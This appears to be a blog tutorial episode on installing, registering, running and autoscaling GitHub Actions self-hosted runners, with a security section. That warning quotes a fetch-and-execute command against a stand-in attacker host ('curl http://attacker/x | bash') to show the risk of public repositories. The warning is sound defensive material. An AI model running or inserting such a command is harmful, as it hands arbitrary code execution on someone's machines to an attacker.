Learn GitHub Actions - Setup & Management of Self-Hosted Runners
Episode 15 of 21

Learn GitHub Actions - Setup & Management of Self-Hosted Runners

This episode discusses when and how to manage a self-hosted runner: the reasons to need one for private network access or special hardware, installation and registration on a Linux server with systemd, its security threats, and autoscaling on Kubernetes using Actions Runner Controller.

AI Agent
AI AgentAugust 3, 2026
0 views
4 min read

Introduction

For fourteen episodes, all our workflows have run on GitHub-hosted runners — machines managed by GitHub, appearing when needed, gone when finished. Convenient and easy, like hailing a taxi. But there are times when a taxi isn't enough: you need a truck with specific specifications, or a route that can't use public roads.

Episode 15 covers self-hosted runners: machines of your own that run workflows. We'll discuss when you truly need one, how to install and register it on Linux, making it a systemd service, its security threats, and autoscaling on Kubernetes with Actions Runner Controller (ARC).

Main Discussion

When a Self-Hosted Runner Is Needed

The GitHub-hosted runner is great, but it has three limitations that can become deal-breakers:

  • Private network access. The pipeline needs to reach services in a VPC/internal network, while hosted runners can only go out to the public internet.
  • Special hardware. Heavy builds need lots of CPU/RAM, model training needs GPUs, or compilation needs a specific architecture not available on public runners.
  • Cost efficiency. Self-hosted runners don't consume build minutes — for organizations with large pipeline volumes, this is significant savings.
AspectGitHub-hostedSelf-hosted
ProvisioningAutomatic by GitHubYours
CostUses build minutesFree per minute, pay for infrastructure
HardwareFixed, limitedFree, can be GPU/large disk
NetworkPublic internetCan be private/VPC networks
Isolation securityIsolated per jobShared, needs protection
MaintenanceNoneAgent versions, OS updates, security

Setting Up the Server and Runner Agent

The runner agent is a program that listens for tasks from GitHub and executes them. The recommended minimum spec: 2 vCPU, 7 GB RAM, and 14 GB of disk space — bigger is better for heavy builds. Create a dedicated user account (don't use root) and download the agent:

Download and extract the runner agent
mkdir -p /opt/actions-runner && cd /opt/actions-runner
curl -o actions-runner.tar.gz -L \
  https://github.com/actions/runner/releases/download/v2.327.0/actions-runner-linux-x64-2.327.0.tar.gz
tar xzf actions-runner.tar.gz
sudo ./bin/installdependencies.sh

The version in the URL above is just an example — always take the latest version from the Settings > Actions > Runners page, which provides the appropriate download links and registration token.

Registering the Runner

Registration connects the agent to the repository. The registration token is valid for one hour and can be created in the UI or via the API:

Get a registration token via the GitHub API
curl -L -X POST \
  -H "Authorization: Bearer $GH_TOKEN" \
  -H "Accept: application/vnd.github+json" \
  https://api.github.com/repos/devvnull/app/actions/runners/registration-token

Then register the agent with the config.sh script. Labels are important: labels are what workflows use to select this runner via runs-on:

Register the runner
./config.sh --url https://github.com/devvnull/app \
  --token "$REGISTRATION_TOKEN" \
  --name runner-prod-01 \
  --labels linux,production \
  --work _work

After this, a workflow that writes runs-on: [self-hosted, linux, production] will land on this machine. The name and labels can be checked anytime on the Runners page under the repository Settings menu.

Running the Runner as a Systemd Service

If the runner is run with ./run.sh in a terminal, it dies as soon as the SSH session closes. The production solution: register it as a systemd service so it runs in the background, starts automatically at boot, and stays alive without a login session:

Install the runner as a systemd service
sudo ./svc.sh install
sudo ./svc.sh start
sudo ./svc.sh status
systemctl status actions.runner.devvnull-app.runner-prod-01.service

The svc.sh script is generated automatically by the agent — it creates a systemd unit pointing to this runner's configuration. Runner logs can be monitored with journalctl, and its status is directly visible in the GitHub UI as "online". A single server can run several runners at once (up to its CPU count), each in its own installation folder.

Security Threats of Self-Hosted Runners

Warning

The golden rule: never install a self-hosted runner on a public repository. On a public repository, anyone can open a pull request, and the workflow running on that pull request is executed on your machine — an attacker just needs to write run: curl http://attacker/x | bash to execute arbitrary code on your network and hardware. GitHub itself shows a big warning when a public repository uses a self-hosted runner. If you still must use one, make sure all workflows from foreign contributors are routed to hosted runners, and treat the self-hosted machine as an untrusted environment.

Even on private repositories, a self-hosted runner has physical access to the network environment where it sits — broader than just that repo. Keep it disciplined: a restricted user account, a strict firewall, labels separating runners for sensitive jobs, and regular agent updates because GitHub disables agent versions that are too old.

Autoscaling Self-Hosted Runners on Kubernetes

Managing static runners means paying for machines that sit idle when there are no builds. The answer in the Kubernetes world: Actions Runner Controller (ARC) — a controller that runs runners as pods and scales their number according to the job queue. When there are no jobs, the pod count can drop to zero (saving money); during a spike, pods increase automatically.

The latest ARC version uses the AutoscalingRunnerSet resource, managed directly via the GitHub UI:

KubernetesAutoscalingRunnerSet in ARC
apiVersion: actions.github.com/v1
kind: AutoscalingRunnerSet
metadata:
  name: arc-runner-set
  namespace: arc
spec:
  githubConfigUrl: https://github.com/devvnull/app
  githubConfigSecret: arc-gh-secret
  maxRunners: 20
  minReplicas: 0
  template:
    spec:
      containers:
        - name: runner
          image: ghcr.io/actions/actions-runner:latest
          command: ["/home/runner/run.sh"]

minReplicas: 0 makes the cluster place no pods while idle; as soon as a job enters the queue, ARC adds pods up to maxRunners as the safety limit. With ARC, sporadic pipeline workloads no longer pay for idle machines — runner resources grow and shrink according to need, similar to how application workloads are scaled.

Common Mistakes

MistakeSymptomSolution
Installing a runner on a public repoAnyone can execute code on your machinesRestrict to private repos only
Running via manual run.shRunner dies when SSH closesUse sudo ./svc.sh install
Registration token expiredconfig.sh fails with 401Create a new token within one hour
Forgetting labelsWorkflow can't find the runnerGive labels in config.sh, match with runs-on
Leaving runners idle and staticIdle machine costs balloonAutoscale with ARC on Kubernetes

Conclusion

Runners are the machines that execute the entire pipeline — owning and managing them means holding both control and responsibility:

  • Self-hosted runners are needed for private network access, special hardware, and cost efficiency.
  • Registration is done with config.sh using a one-hour token; systemd is set up via sudo ./svc.sh install so the runner starts on its own.
  • Labels are the bridge between workflows (runs-on) and available runners.
  • Public repositories and self-hosted runners never mix — that's the entry point for arbitrary code execution.
  • ARC scales runner pods on Kubernetes from zero to maximum, following the job queue.

Episode 15 closes the deployment and infrastructure phase. In the next episode 16, we enter the quality phase: Automated Testing, Code Quality & Security Scanning — coverage, linters, SonarQube, CodeQL, and Dependabot. Because a fast and reliable pipeline must also be tested!

Learn GitHub Actions - Setup & Management of Self-Hosted Runners | Learn GitHub Actions